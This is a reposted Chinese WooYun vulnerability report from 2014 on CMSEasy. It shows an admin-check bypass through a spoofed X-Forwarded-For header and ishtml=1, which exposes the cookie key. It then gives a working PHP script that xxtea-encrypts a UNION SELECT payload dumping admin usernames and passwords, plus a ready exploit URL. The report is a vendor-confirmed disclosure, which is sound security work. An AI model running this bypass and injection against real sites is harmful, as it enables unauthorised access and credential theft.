cmseasy的最新版SQL注入一枚

admin 2015年4月20日09:31:43评论449 views字数 5132阅读17分6秒阅读模式
摘要

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2014-67396

漏洞标题: cmseasy的最新版SQL注入一枚

相关厂商: cmseasy

漏洞作者: phith0n

提交时间: 2014-07-04 17:43

公开时间: 2014-10-02 17:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核 白盒测试

1人收藏

漏洞详情

披露状态:

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

简要描述:

。。

详细说明:

cmseasy后台可以未授权访问,在/lib/admin/admin.php中:

code 区域
if (!defined('ROOT')) exit('Can/'t Access !');
 abstract class admin extends act {
     function __construct() {
         if (ADMIN_DIR!=config::get('admin_dir')) {
             config::modify(array('admin_dir'=>ADMIN_DIR));
             front::flash('后台目录更改成功!');
         }
         front::$rewrite=false;
         parent::__construct();
         $servip = gethostbyname($_SERVER['SERVER_NAME']);
         //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
         if($servip==front::ip()&&front::get('ishtml')==1) return;
         $this->check_admin();
     }

这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。

可以通过一些插件修改:

cmseasy的最新版SQL注入一枚

如上图,修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码:

cmseasy的最新版SQL注入一枚

拿到了这个安全码,就能干一些坏事。

比如注入。看到/lib/admin/admin_act.php,58行:

code 区域
function remotelogin_action() {
         cookie::del('passinfo');
         $this->view->loginfalse=cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI']));
         if (front::$args) {
             $user=new user();
             $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
             $user=$user->getrow(unserialize($args));
             if (is_array($user)) {
                 if ($user['groupid'] == '888')
                     front::$isadmin=true;
                 cookie::set('login_username',$user['username']);
                 cookie::set('login_password',front::cookie_encode($user['password']));
                 session::set('username',$user['username']);
                 require_once ROOT.'/celive/include/config.inc.php';
                 require_once ROOT.'/celive/include/celive.class.php';
                 $login=new celive();
                 $login->auth();
                 $GLOBALS['auth']->remotelogin($user['username'],$user['password']);
                 $GLOBALS['auth']->check_login1();
                 front::$user=$user;
             }elseif (!is_array(front::$user) ||!isset(front::$isadmin)) {
                 cookie::set('loginfalse'.md5($_SERVER['REQUEST_URI']),(int) cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI'])) +1,time() +3600);
                 event::log('loginfalse','失败 user='.$user['username']);
                 front::flash('密码错误或不存在该管理员!');
                 front::refresh(url('admin/login',true));
             }
         }
         $this->render();
     }

远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。

也就是说,我有了密钥,就能构造一个注入语句进行注入,而且因为最后的数据是base64编码过的,所以根本不怕任何waf,比如360webscan。

详见证明。

漏洞证明:

脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:

code 区域
<?php
 
 $key = '719ef7a50950de7935ec4a9ebc201bba';
 
 $table = array(
  'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
 );
 
 echo base64_encode(xxtea_encrypt(serialize($table), $key));
 
 function xxtea_encrypt($str, $key) {
     if ($str == "") {
         return "";
     }
     $v = str2long($str, true);
     $k = str2long($key, false);
     if (count($k) < 4) {
         for ($i = count($k); $i < 4; $i++) {
             $k[$i] = 0;
         }
     }
     $n = count($v) - 1;
 
     $z = $v[$n];
     $y = $v[0];
     $delta = 0x9E3779B9;
     $q = floor(6 + 52 / ($n + 1));
     $sum = 0;
     while (0 < $q--) {
         $sum = int32($sum + $delta);
         $e = $sum >> 2 & 3;
         for ($p = 0; $p < $n; $p++) {
             $y = $v[$p + 1];
             $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
             $z = $v[$p] = int32($v[$p] + $mx);
         }
         $y = $v[0];
         $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
         $z = $v[$n] = int32($v[$n] + $mx);
     }
     return long2str($v, false);
 }
 
 function xxtea_decrypt($str, $key) {
     if ($str == "") {
         return "";
     }
     $v = str2long($str, false);
     $k = str2long($key, false);
     if (count($k) < 4) {
         for ($i = count($k); $i < 4; $i++) {
             $k[$i] = 0;
         }
     }
     $n = count($v) - 1;
 
     $z = $v[$n];
     $y = $v[0];
     $delta = 0x9E3779B9;
     $q = floor(6 + 52 / ($n + 1));
     $sum = int32($q * $delta);
     while ($sum != 0) {
         $e = $sum >> 2 & 3;
         for ($p = $n; $p > 0; $p--) {
             $z = $v[$p - 1];
             $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
             $y = $v[$p] = int32($v[$p] - $mx);
         }
         $z = $v[$n];
         $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
         $y = $v[0] = int32($v[0] - $mx);
         $sum = int32($sum - $delta);
     }
     return long2str($v, true);
 }
 
 function long2str($v, $w) {
     $len = count($v);
     $n = ($len - 1) << 2;
     if ($w) {
         $m = $v[$len - 1];
         if (($m < $n - 3) || ($m > $n)) return false;
         $n = $m;
     }
     $s = array();
     for ($i = 0; $i < $len; $i++) {
         $s[$i] = pack("V", $v[$i]);
     }
     if ($w) {
         return substr(join('', $s), 0, $n);
     }
     else {
         return join('', $s);
     }
 }
 
 function str2long($s, $w) {
     $v = unpack("V*", $s. str_repeat("/0", (4 - strlen($s) % 4) & 3));
     $v = array_values($v);
     if ($w) {
         $v[count($v)] = strlen($s);
     }
     return $v;
 }
 
 function int32($n) {
     while ($n >= 2147483648) $n -= 4294967296;
     while ($n <= -2147483649) $n += 4294967296;
     return (int)$n;
 }

获得加密后的字符串如下:

cmseasy的最新版SQL注入一枚

 

code 区域
http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=QMXXAzZMw2utUoKklvRtfvs5iHUKa6JW%2bzJVLgrICaWC%2bl2em2Wu8mZPxZzlWFhUgyHnYP3hQauMpIOTpVu2hfjUto88GN%2fbHbm8H1cpvLM3SHXYHPPO4Ws1646TUSebzZsQ9kd8FseLKar%2bIrkmc5sCDAI4Bjo6%2fXzD11e1p%2b4704JukSWsNQ4wwNbuuEyMDK%2fQtHZm%2fNv1jczk

访问,就可以将cookie设置成注入获得的数据:

cmseasy的最新版SQL注入一枚

修复方案:

加密过的内容也不能随便相信,如果key泄露了呢?

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:50

厂商回复:

感谢,理解修正

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  1. 2014-07-04 17:54 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

    0

    高大上

  2. 2014-07-04 18:02 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    0

    师傅好腻害。。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2015年4月20日09:31:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cmseasy的最新版SQL注入一枚https://cn-sec.com/archives/16726.html

发表评论

匿名网友 填写信息